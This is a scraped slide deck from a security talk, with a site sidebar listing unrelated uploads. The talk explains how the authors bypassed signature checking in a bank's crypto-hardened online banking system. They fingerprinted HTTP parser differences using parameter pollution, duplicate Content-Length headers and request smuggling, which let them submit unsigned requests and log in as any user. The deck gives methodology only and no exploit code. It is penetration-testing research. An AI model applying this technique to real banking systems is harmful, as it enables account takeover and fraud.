                                                                       ||----w |          51
                                                                       ||        ||
And along comes…

WRAP UP
    George Noseevich
    Andrew Petukhov
    Dennis Gamayunov


                       52
At first I was
                            like…
__________________________________________________________________
/
|
  • How typical pentester sees custom crypto |                      

|   protocol                                                        |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     53
                                                   ||     ||
But then…
 __________________________________________________________________
/
|
  • It looks more intriguing                                        
                                                                    |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     54
                                                   ||     ||
No surprise
 __________________________________________________________________
/
|
 • 'I definitely believe that                                       
                                                                    |
|  cryptography is becoming less                                    |
|
|
   important. In effect, even the most                              |
                                                                    |
|  secure computer systems in the most                              |
|                                                                   |
|
   isolated locations have been                                     |
|  penetrated over the last couple of                               |
|                                                                   |
|
   years by a series of APTs and other                              |
|  advanced attacks,' Shamir said during                            |
|                                                                   |
|
   the Cryptographers' Panel session at                             |
|  the RSA Conference 2013                                          |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     55
                                                   ||     ||
Violent curiosity
                       leads to…
__________________________________________________________________
/
|• …successful bypass                                               
                                                                    |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
|                                                                   |
                                                                   /
 ------------------------------------------------------------------
         George Noseevich
                                              ^__^
         Andrew Petukhov                      (oo)_______
         Dennis Gamayunov
                                               (__)       )/
                                                   ||----w |     56
                                                   ||     ||
Contacts
 __________________________________________________________________
/                                                                         
|                                                                         |
|                                                                         |
|                                                                         |
|                                                                         |
|
                     George @webpentest Noseevich                         |
|                         webpentest@bushwhackers.ru                      |
|                    Andrew @p3tand Petukhov                              |
|                         andrew.petukhov@solidlab.ru                     |
|                    Dennis @jamadharma Gamayunov                         |
|                         gamajun@seclab.cs.msu.su                        |
|                                                                         |
|                                                                         |
|                                                                         |
|                                                                         |
                                                                         /
 ------------------------------------------------------------------
         George Noseevich
                                                     ^__^
         Andrew Petukhov                            (oo)_______
         Dennis Gamayunov
                                                      (__)       )/
                                                          ||----w |    57
                                                          ||     ||

More Related Content

Recently uploaded

Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterMydbops
 
UiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPathCommunity
 
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentEmixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentPim van der Noll
 
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesHow to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesThousandEyes
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxLoriGlavin3
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfpanagenda
 
Why device, WIFI, and ISP insights are crucial to supporting remote Microsoft...
Why device, WIFI, and ISP insights are crucial to supporting remote Microsoft...Why device, WIFI, and ISP insights are crucial to supporting remote Microsoft...
Why device, WIFI, and ISP insights are crucial to supporting remote Microsoft...panagenda
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxLoriGlavin3
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersRaghuram Pandurangan
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersNicole Novielli
 
Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfNeo4j
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfMounikaPolabathina
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxLoriGlavin3
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 
[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality Assurance[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality AssuranceInflectra
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxLoriGlavin3
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxLoriGlavin3
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfLoriGlavin3
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 

Recently uploaded (20)

Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL Router
 
UiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to HeroUiPath Community: Communication Mining from Zero to Hero
UiPath Community: Communication Mining from Zero to Hero
 
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentEmixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
 
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesHow to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
 
Why device, WIFI, and ISP insights are crucial to supporting remote Microsoft...
Why device, WIFI, and ISP insights are crucial to supporting remote Microsoft...Why device, WIFI, and ISP insights are crucial to supporting remote Microsoft...
Why device, WIFI, and ISP insights are crucial to supporting remote Microsoft...
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information Developers
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software Developers
 
Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdf
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdf
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 
[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality Assurance[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality Assurance
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdf
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 

Featured

2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by HubspotMarius Sescu
 
Everything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTEverything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTExpeed Software
 
Product Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsProduct Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsPixeldarts
 
How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthThinkNow
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfmarketingartwork
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024Neil Kimberley
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)contently
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024Albert Qian
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsKurio // The Social Media Age(ncy)
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Search Engine Journal
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summarySpeakerHub
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next Tessa Mero
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentLily Ray
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best PracticesVit Horky
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project managementMindGenius
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...RachelPearson36
 

Featured (20)

2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot2024 State of Marketing Report – by Hubspot
2024 State of Marketing Report – by Hubspot
 
Everything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPTEverything You Need To Know About ChatGPT
Everything You Need To Know About ChatGPT
 
Product Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsProduct Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage Engineerings
 
How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental Health
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
 
Skeleton Culture Code
Skeleton Culture CodeSkeleton Culture Code
Skeleton Culture Code
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data Science
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
 

Breaking Through Certified Crypto in Banking Apps

  • 1. You Can Be Anything You Want to Be: Breaking Through Certified Crypto in Banking Apps Andrew Petukhov (Founder/CTO, Solidlab) George Noseevich (PhD student, MSU) Dennis Gamayunov (Acting Head, Information Systems Security Lab, MSU)
  • 2. And along comes… INTRO George Noseevich Andrew Petukhov Dennis Gamayunov 2
  • 3. Part One __________________________________________________________________ / |There was me, that is Dennis, | | | |and my two droogs, that is | | | |Georgie and Andrew, and we sat | | | |in the lab making up our | | | |rassoodocks what to do with the | | | |Big Bank’s RBS, a GOST crypto | | | |hardened bastard though rare. | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 3 || ||
  • 4. What we see __________________________________________________________________ / |• An RBS, which uses crypto for | | | | – Non-repudiation | | | | – Authenticity | | | | – Protocol security | | | | | • RBS comply with Russian Central | | | | Bank regulations | | | | |• …unbreakable : -( ~ | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 4 || ||
  • 5. What's it going to be then, eh? __________________________________________________________________ / | | | | | | | | | | | | | | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 5 || ||
  • 6. What comes with UltraViolence __________________________________________________________________ / |• Bypass non-repudiation (force | | | RBS to process non-signed | | | | requests) | | | | • Bypass second authentication | | | | layer (enforced with crypto) | | | | • Which finally allowed to login | | | | into RBS as any valid user and | | | file any request to the RBS | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 6 || ||
  • 7. And along comes… SYSTEM UNDER ASSESSMENT George Noseevich Andrew Petukhov Dennis Gamayunov 7
  • 8. Target application type (1/3) __________________________________________________________________ / |• We aim at pentesting financial | | | | organizations, who try to: | | | | – Ensure transport layer security, | | | | non-repudiation and authentication | | | | – Comply with regulations | | | | – Protect legacy systems | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 8 || ||
  • 9. Target application type (2/3) __________________________________________________________________ / • Technical best-practices | | | – Confidentiality, authenticity, non- | | repudiation | | • Compliance | | | | – Use of certified crypto | | • Business needs | | | | – In-house vs outsource | | – Solid vs modular | | – Customer does not simply develop his own | | | certified crypto | | | – Outsourcing app development to certified | crypto writers – never a good idea / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 9 || ||
  • 10. Target application type (3/3) __________________________________________________________________ / |• Solution: crypto hardened thick | | | | client + server side | | | | application specific crypto | | | | proxy | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 10 || ||
  • 11. Seeding the arch __________________________________________________________________ / Business logic over HTTP | | | Client side Server side | | | | | | | | | | | | | | | | | | | | Browser RBS Application | | Server | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 11 || ||
  • 12. let’s add some REQs __________________________________________________________________ / | | | Req++: Transport security & Certified crypto | | Client side Server side | | | | | | | | | | | | | | | | Crypto server powered by | certified crypto provider RBS Application | Browser Tunnel endpoint | Terminates tunnel Server | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 12 || ||
  • 13. a little bit more... __________________________________________________________________ / | Req++: Authenticity & Non-repudiation | | | Client side Server side | | | | | | | | | | | | | | | Crypto server RBS Application | | Browser Tunnel endpoint Server | Verifies signature | Signs ingress request If ok logs for non-repudiation Trusts custom headers | | Puts everything into and passes upstream Matches id from session | | custom headers with id from header | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 13 || ||
  • 14. And along comes… METHODOLOGY George Noseevich Andrew Petukhov Dennis Gamayunov 14
  • 15. Common sense suggests __________________________________________________________________ / |• One doesn’t simply implement | | | application level crypto protocol | | | | • One doesn’t simply implement HTTP | | | client or server from scratch | | | | | • Many parsers in a row suggest | | | inconsistencies => possibility for | | | | smuggling | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 15 || ||
  • 16. Objective __________________________________________________________________ / | | | | • Objective: | | | – find differences in HTTP handling at | | | | crypto server side and at application | | server side | | | | | • Exploit: | | | – use differences to bypass signature | | | | validation | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 16 || ||
  • 17. Basic steps for reversing arch __________________________________________________________________ / | | |• Reverse client side features | | | |• Survey server side features | | | |• Fingerprint integration protocol | | | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 17 || ||
  • 18. Dealing with client side crypto __________________________________________________________________ / | • Which HTTP client and what HTTP | | parser are used? | | | | – i.e. windows API or java HttpClient | | | • What parts of HTTP request are | | | getting signed? | | | | – in POST? in GET? in HEAD? in TRACE? | | | • What additional metadata is | | | attached to requests? | | | | – how signature is stored? | – how key ID is passed to the server? / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 18 || ||
  • 19. Because nothing ever changes… __________________________________________________________________ / | • XML Signature Wrapping | | – another kind of “You can be anything you want | | to be” www.youtube.com/watch?v=RHIkb9yEV1k | | | | – “Analysis of Signature Wrapping Attacks and | | Countermeasures“ | | | | • CWE-347: Improper Verification of | | Cryptographic Signature and related CVE | | | | • Web App Cryptology: A Study in Failure | | | | • Now and then: Insecure random numbers | | | • Now and then: Improper PKI implementation / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 19 || ||
  • 20. Fingerprinting HTTP parsers __________________________________________________________________ / |• HTTP parameter pollution | | | | – the same parameter in query or body | | – the same parameter in query and body | | | |• Duplicate headers | | – control headers with metadata | | | | – Content-Length header | | | | • HTTP parameter contamination | | – which characters are valid for termination | | of header values? | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 20 || ||
  • 21. Fingerprinting WWW server __________________________________________________________________ / |• Which HTTP version is supported? | | | | – does crypto server support multiple HTTP | | requests per connection? | | – does it support HTTP/0.9 | | | |• How does crypto server treat incorrect | | | | or duplicate Content-Length headers? | |• Which HTTP methods does it support? | | | |• Does crypto server support multipart | | | | requests or chunked encoding? | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 21 || ||
  • 22. Because nothing ever changes… __________________________________________________________________ / | | | • Google for <HPP bypass WAF> | | | | • CWE-444: Inconsistent Interpretation of | | | | HTTP Requests | | • and all the CVE instances related to CWE- | | | | 444 | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 22 || ||
  • 23. Fingerprinting integration protocol __________________________________________________________________ / |• How crypto server communicates | | | validation status and metadata to | | | application server? | | | | – meta data is relayed as submitted by | | | | the client | | – in yet unknown part of the request | | | | – how to get into that part? | | | • HTTP Trace method/Debug interface in web | | | application/Guess/Brutefroce/Read | documentation/Ask developers aka Social engineer / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 23 || ||
  • 24. And along comes… CASE STUDY George Noseevich Andrew Petukhov Dennis Gamayunov 24
  • 25. It all started as an ordinary hack __________________________________________________________________ / | | | ● Test our shiny RBS web app, they | | | | said | | | | ● It comes with a certified crypto | | | | protection, they said | | | | ● Instantly found some common web app | | | | bugs | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 25 || ||
  • 26. …then the crypto came into play __________________________________________________________________ / | ● Crypto ensures non-repudiation | | | – Your crypto-signed attack vectors | | | will be used against you in court | | | | ● Crypto ensures authenticity | | | | – Session hijacking is essentially | | useless | | | | – Can't login as other user without | | | his keys | | | ● This greatly reduces severity | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 26 || ||
  • 27. Reversing the client __________________________________________________________________ / | ● Closed-source windows app | | | | ● | Traffic dump gives no clues | | | | ● The protocol is custom, no docs | | | | available | | | | | ● No time for long IDA sessions | | | | | ● Seems tough  | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 27 || ||
  • 28. Reversing the client: the lazy way __________________________________________________________________ / | ●Client uses crypto primitives | | | | from bundled shared libs | | | | ● | Library call hooks and API call | | | | traces FTW! | | | | ●Filter traces to get data that | | | | is easy to understand | | | | |• API Monitor (bit.ly/37BTzf) | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 28 || ||
  • 29. API call trace __________________________________________________________________ / | | | | | | | | | | | | | | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 29 || ||
  • 30. API call trace __________________________________________________________________ / | Encrypt user data | | | | | | | | | | | | | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 30 || ||
  • 31. API call trace __________________________________________________________________ / | What is being encrypted? | | | | | | | | | | | | | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 31 || ||
  • 32. API call trace __________________________________________________________________ / | What is being encrypted? | | | | | | | | | | | | | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 32 || ||
  • 33. API call trace __________________________________________________________________ / | What is being encrypted? | | | | | | | | | | | | | | | | | | | | | | | | | | | / ------------------------------------------------------------------ George Noseevich ^__^ Andrew Petukhov (oo)_______ Dennis Gamayunov (__) )/ ||----w | 33 || ||
